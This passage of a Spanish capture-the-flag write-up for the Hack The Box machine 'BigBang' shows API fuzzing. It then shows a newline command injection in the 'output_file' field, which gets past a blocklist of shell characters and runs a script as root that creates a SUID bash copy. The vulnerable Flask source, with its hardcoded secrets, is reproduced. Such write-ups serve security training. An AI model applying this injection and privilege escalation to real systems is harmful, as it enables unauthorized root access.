HTTP/1.1 200 OK
Server: Werkzeug/3.0.3 Python/3.10.12
Date: Tue, 11 Mar 2025 09:41:41 GMT
Content-Type: application/json
Content-Length: 64
Connection: close

{"status":"developer is moving to coordinates (1.0, 2.0, 3.0)"}

Take a Picture, muestra multiples opciones y boton de envio.


Al enviar una de las opciones nos muestra que la solicitud fallo.

La solicitud muestra el envio de un nombre de imagen, la respuesta muestra una imagen.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
POST http://app.bigbang.htb:9090/command HTTP/1.1
Content-Type: application/json
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MTY4NjIzMCwianRpIjoiYjUwMDE5YTktMzRhOS00MjhmLThlNjAtYmIxZjNjNGRlZjUzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTc0MTY4NjIzMCwiY3NyZiI6IjY0MzYyYzIxLTYxM2UtNDYxZC1hNWJmLWJlNThkZjk0YjI3YyIsImV4cCI6MTc0MTY4OTgzMH0.SrKI6C5mq5d3ELgqSj-DcZamaqs1Uysdwvw2a8uzUEA
User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel Build/TQ2B.230505.005.A1)
Host: app.bigbang.htb:9090
Connection: keep-alive
Accept-Encoding: gzip, deflate, br
Content-Length: 49

{"command": "send_image", "output_file": "1.png"}

HTTP/1.1 200 OK
Server: Werkzeug/3.0.3 Python/3.10.12
Date: Tue, 11 Mar 2025 09:45:41 GMT
Content-Type: image/png
Content-Length: 116077
Cache-Control: no-cache
Connection: close

‰PNG
[..] snip [...]

Summary

El analisis del codigo nos mostro el comportamiento y las diferentes solicitudes creadas, enviadas y de como los valores de la respuesta son utilizados. Pudimos confirmar lo anterior tras interactuar y observar el trafico de la aplicacion.

Del analisis a BigBang obtuvimos:

  • Host y puerto: app.bigbang.htb:9090
  • Endpoints:
    • /login
    • /command
  • Utiliza una estructura JSON para el envio de datos.
    • login: {"username":"developer","password":"bigbang"}
    • command: move -> {"command":"move","x":1,"y":2,"z":3}
    • command: send_image -> {"command": "send_image", "output_file": "3.png"}
  • Credenciales validas: developer:bigbang

API BigBang

Ejecutamos ffuf para verificar si existen otros endpoints en la API. Especificamos el metodo OPTIONS y el token, este ultimo lo obtuvimos del login con las credenciales. Se muestran los dos ya conocidos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ ffuf -w $MD -H 'Content-Type: application/json' -H 'Authorization: Bearer [token]' -X OPTIONS -u http://127.0.0.1:9090/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : OPTIONS
 :: URL              : http://127.0.0.1:9090/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Content-Type: application/json
 :: Header           : Authorization: Bearer [token]
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

login                   [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 304ms]
command                 [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 652ms]
:: Progress: [220560/220560] :: Job [1/1] :: 199 req/sec :: Duration: [0:45:40] :: Errors: 0 ::

Tambien realizamos una enumeracion por nuevos comandos, pero no encontramos ninguno.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ffuf -w $MD -H 'Content-Type: application/json' -H 'Authorization: Bearer [token]' -d '{"command": "FUZZ"}' -u http://127.0.0.1:9090/command

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://127.0.0.1:9090/command
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Content-Type: application/json
 :: Header           : Authorization: Bearer [token]
 :: Data             : {"command": "FUZZ"}
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

:: Progress: [220560/220560] :: Job [1/1] :: 77 req/sec :: Duration: [0:47:34] :: Errors: 0 ::

Privesc

Command Injection

Tras ejecutar pspy observamos que para el comando send_image existe un proceso que se ejecuta al realizar la solicitud, utiliza el valor del parametro output_file como argumento para el comando /usr/local/bin/image-tool.

1
2
2025/03/11 10:30:47 CMD: UID=0     PID=108496 | /bin/sh -c /usr/local/bin/image-tool --get-image 3.png 
2025/03/11 10:30:47 CMD: UID=0     PID=108498 | /usr/local/bin/image-tool --get-image 3.png

Ademas observamos un proceso de root con la ejecucion de un script en Python, probablemente de la API.

1
2
3
4
5
6
developer@bigbang:~$ ps -ef | grep python
root         742       1  0 10:01 ?        00:00:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root        1040       1  0 10:01 ?        00:00:01 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root        1698       1 40 10:01 ?        00:24:25 /usr/bin/python3 /root/satellite/app.py
develop+  388023    2493  0 11:02 pts/0    00:00:00 grep --color=auto python
developer@bigbang:~$

Intentamos ejecutar el comando id agregando ; pero muestra un mensaje de caracteres peligrosos.

1
2
3
4
5
# Request
{"command": "send_image", "output_file": "3.png;id"}

# Response
{"error":"Output file path contains dangerous characters"}

Ejecutamos ffuf para encontrar los caracteres aceptados por la API, observamos nueve. BurpSuite muestra que los caracteres " y \ generan error de solicitud. En el caso de " no es valido por la estructura JSON.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
❯ ffuf -w /usr/share/seclists/Fuzzing/special-chars.txt -X 'POST' -H 'Content-Type: application/json' -H 'Authorization: Bearer [token]' -d '{"command": "send_image", "output_file": "4.pngFUZZ"}' -u http://app.bigbang.htb:9090/command -x http://127.0.0.1:8080

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://app.bigbang.htb:9090/command
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/special-chars.txt
 :: Header           : Content-Type: application/json
 :: Header           : Authorization: Bearer [token]
 :: Data             : {"command": "send_image", "output_file": "4.pngFUZZ"}
 :: Follow redirects : false
 :: Calibration      : false
 :: Proxy            : http://127.0.0.1:8080
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

~                       [Status: 500, Size: 37, Words: 4, Lines: 2, Duration: 539ms]
,                       [Status: 500, Size: 37, Words: 4, Lines: 2, Duration: 659ms]
@                       [Status: 500, Size: 37, Words: 4, Lines: 2, Duration: 659ms]
.                       [Status: 500, Size: 37, Words: 4, Lines: 2, Duration: 659ms]
/                       [Status: 500, Size: 37, Words: 4, Lines: 2, Duration: 736ms]
:                       [Status: 500, Size: 37, Words: 4, Lines: 2, Duration: 765ms]
=                       [Status: 500, Size: 37, Words: 4, Lines: 2, Duration: 795ms]
_                       [Status: 500, Size: 37, Words: 4, Lines: 2, Duration: 880ms]
-                       [Status: 500, Size: 37, Words: 4, Lines: 2, Duration: 928ms]
:: Progress: [32/32] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

Doble backslash \\ no esta permitido, intentamos agregar un salto de linea \n, en la ejecucion del comando se muestra que se agrego.

1
2
3
2025/03/11 11:07:15 CMD: UID=0     PID=437343 | /bin/sh -c /usr/local/bin/image-tool --get-image 
3.png 
2025/03/11 11:07:15 CMD: UID=0     PID=437344 | /usr/local/bin/image-tool --get-image

La respuesta de la solicitud muestra un error de shell, por lo que el salto de linea permite la ejecucion de comandos.

1
2
3
4
5
# Request
{"command": "send_image", "output_file": "\n3.png"}

# Response
{"error":"Error generating image: /bin/sh: 2: 3.png: not found\n"}

Agregamos dos saltos de linea y de por medio la ejecucion de cat a un archivo que no existe. Observamos que se ejecuto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Request
{"command": "send_image", "output_file": "\ncat abc  \n3.png"}

# Response
{"error":"Error generating image: cat: abc: No such file or directory\n/bin/sh: 3: 3.png: not found\n"}

# pspy
2025/03/11 11:19:02 CMD: UID=0     PID=450664 | /bin/sh -c /usr/local/bin/image-tool --get-image 
cat abc  
3.png 
2025/03/11 11:19:02 CMD: UID=0     PID=450665 | /bin/sh -c /usr/local/bin/image-tool --get-image 
cat abc  
3.png 
2025/03/11 11:19:02 CMD: UID=0     PID=450666 | cat abc 

2025/03/11 11:19:13 CMD: UID=0     PID=450667 | /usr/bin/containerd-shim-runc-v2 -namespace moby -id 14031fdccc6aab84da0397154e93c7881cc29e7beb107f2f07790c76b91ca57d -address /run/containerd/containerd.sock

Shell

Creamos un script en bash con permisos de ejecucion que realiza la copia de bash y le da permisos SUID.

1
2
3
4
5
6
developer@bigbang:/dev/shm$ nano shell.sh
developer@bigbang:/dev/shm$ chmod +x shell.sh 
developer@bigbang:/dev/shm$ cat shell.sh 
#!/bin/bash
cp /bin/bash /bin/sc; chmod u+s /bin/sc;
developer@bigbang:/dev/shm$

Ejecutamos el script en lugar de cat y observamos que se ralizo la ejecucion.

1
2
3
4
5
6
7
8
# Request
# {"command": "send_image", "output_file": "\n/dev/shm/shell.sh\n3.png"}
2025/03/11 11:22:33 CMD: UID=0     PID=450821 | 
2025/03/11 11:22:33 CMD: UID=0     PID=450822 | /bin/sh -c /usr/local/bin/image-tool --get-image 
/dev/shm/shell.sh
3.png 
2025/03/11 11:22:33 CMD: UID=0     PID=450823 | cp /bin/bash /bin/sc 
2025/03/11 11:22:33 CMD: UID=0     PID=450824 | /bin/bash /dev/shm/shell.sh

Ejecutamos la copia de bash como privilegiada logrando obtener una shell como root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
developer@bigbang:/dev/shm$ ls -lah /bin/sc
-rwsr-xr-x 1 root root 1.4M Mar 11 11:22 /bin/sc
developer@bigbang:/dev/shm$ /bin/sc -p
sc-5.1# id
uid=1002(developer) gid=1002(developer) euid=0(root) groups=1002(developer)
sc-5.1# cd /root
sc-5.1# ls
resolv.conf  root.txt  satellite  snap
sc-5.1# cat root.txt
f74ebba87421f085f3851d5fdad6b7d4
sc-5.1#

API - app.py

Encontramos el codigo de la “API” en el directorio de root.

1
2
3
4
5
6
7
sc-5.1# ls -lah satellite/
total 20K
drwxr-xr-x 3 root root 4.0K Jan 20 16:30 .
drwx------ 8 root root 4.0K Mar 11 11:35 ..
-rw-r--r-- 1 root root 5.6K Jun  5  2024 app.py
drwxr-xr-x 2 root root 4.0K Jun  2  2024 img
sc-5.1#

Observamos que la vulnerabilidad se encuentra en la funcion generate_random_image donde output_file representa el nombre del archivo.

1
2
3
4
5
6
7
8
def generate_random_image(output_file):
    try:
        result = subprocess.run(f'/usr/local/bin/image-tool --get-image {output_file}', check=True, shell=True, capture_output=True, text=True)
        print(f"STDOUT: {result.stdout}")  # Log the standard output
        print(f"STDERR: {result.stderr}")  # Log the standard error
    except subprocess.CalledProcessError as e:
        print(f"Error executing image-tool: {e.stderr}")
        raise RuntimeError(f'Error generating image: {e.stderr}')
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
from flask import Flask, request, jsonify, send_file
from flask_sqlalchemy import SQLAlchemy
from flask_bcrypt import Bcrypt
from flask_jwt_extended import JWTManager, create_access_token, jwt_required, get_jwt_identity
from io import BytesIO
from PIL import Image
import random
import datetime
import numpy as np
import subprocess

app = Flask(__name__)

# Update the following line with your MySQL database connection details
app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://satellite_user:satellite_password@172.17.0.1/satellite_db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['JWT_SECRET_KEY'] = 'gUX2sShwFlHJ9MBwoXwWNghwuMenSpoi5wIL12kzXfVuNzh7G9WMysTNlnWyvvvD'

db = SQLAlchemy(app)
bcrypt = Bcrypt(app)
jwt = JWTManager(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password = db.Column(db.String(200), nullable=False)

class Location(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    x = db.Column(db.Float, nullable=False)
    y = db.Column(db.Float, nullable=False)
    z = db.Column(db.Float, nullable=False)
    timestamp = db.Column(db.DateTime, nullable=False, default=datetime.datetime.utcnow)

def create_tables():
    with app.app_context():
        db.create_all()

create_tables()

def contains_dangerous_chars(input_str):
    dangerous_chars = [
        ';',  # Separador de comandos
        "'",  # Comilla simple
        '"',  # Comilla doble
        '\\',  # Barra invertida
        '&',  # Ejecución en paralelo
        '|',  # Pipe
        '$',  # Expansión de variables
        '(',  # Paréntesis de apertura
        ')',  # Paréntesis de cierre
        '>',  # Redirección de salida
        '<',  # Redirección de entrada
        '`',  # Acento grave
        '!',  # Ejecución de comandos del historial
        '+',  # Puede ser usado en algunos contextos para comandos
        '#',  # Comentarios en shell
        '*',  # Wildcard (comodín)
        '?',  # Wildcard (comodín)
        '[',  # Inicio de clase de caracteres en expresiones regulares
        ']',  # Fin de clase de caracteres en expresiones regulares
        '{',  # Inicio de bloque de comandos o parámetros en algunas shells
        '}',  # Fin de bloque de comandos o parámetros en algunas shells
        '^',  # Redirección de error en algunas shells
        '%'  # Puede tener usos especiales en algunas shells
    ]
    return any(char in input_str for char in dangerous_chars)

@app.route('/login', methods=['POST'])
def login():
    username = request.json.get('username', None)
    password = request.json.get('password', None)
    if not username or not password:
        return jsonify({'error': 'Missing username or password'}), 400
    user = User.query.filter_by(username=username).first()
    if not user or not bcrypt.check_password_hash(user.password, password):
        return jsonify({'error': 'Bad username or password'}), 401
    access_token = create_access_token(identity=username, expires_delta=datetime.timedelta(hours=1))
    return jsonify(access_token=access_token), 200

@app.route('/command', methods=['POST'])
@jwt_required()
def command():
    command = request.json.get('command', '').lower()
    current_username = get_jwt_identity()

    # Retrieve the User object corresponding to the username
    current_user = User.query.filter_by(username=current_username).first()

    if not current_user:
        return jsonify({'error': 'User not found'}), 404

    if command == 'move':
        try:
            x = float(request.json.get('x'))
            y = float(request.json.get('y'))
            z = float(request.json.get('z'))
        except (TypeError, ValueError):
            return jsonify({'error': 'Invalid coordinates. Please provide numeric values for x, y, and z.'}), 400

        # Save the coordinates into the database
        location = Location(user_id=current_user.id, x=x, y=y, z=z)
        db.session.add(location)
        db.session.commit()

        return jsonify({'status': f'{current_username} is moving to coordinates ({x}, {y}, {z})'})

    elif command == 'send_image':
        output_file = request.json.get('output_file')
        if not output_file:
            return jsonify({'error': 'Output file path must be provided'}), 400
        if contains_dangerous_chars(output_file):
            return jsonify({'error': 'Output file path contains dangerous characters'}), 400
        try:
            image_data = generate_random_image(output_file)
            return send_file(BytesIO(image_data), mimetype='image/png')
        except RuntimeError as e:
            return jsonify({'error': str(e)}), 500
    else:
        return jsonify({'error': 'Invalid command'}), 400

def generate_random_image(output_file):
    try:
        result = subprocess.run(f'/usr/local/bin/image-tool --get-image {output_file}', 
                                check=True, shell=True, capture_output=True, text=True)
        print(f"STDOUT: {result.stdout}")  # Log the standard output
        print(f"STDERR: {result.stderr}")  # Log the standard error
    except subprocess.CalledProcessError as e:
        print(f"Error executing image-tool: {e.stderr}")
        raise RuntimeError(f'Error generating image: {e.stderr}')
    
    try:
        with open(output_file, 'rb') as file:
            return file.read()
    except Exception as e:
        raise RuntimeError(f'Error reading image file: {str(e)}')

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=9090)
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe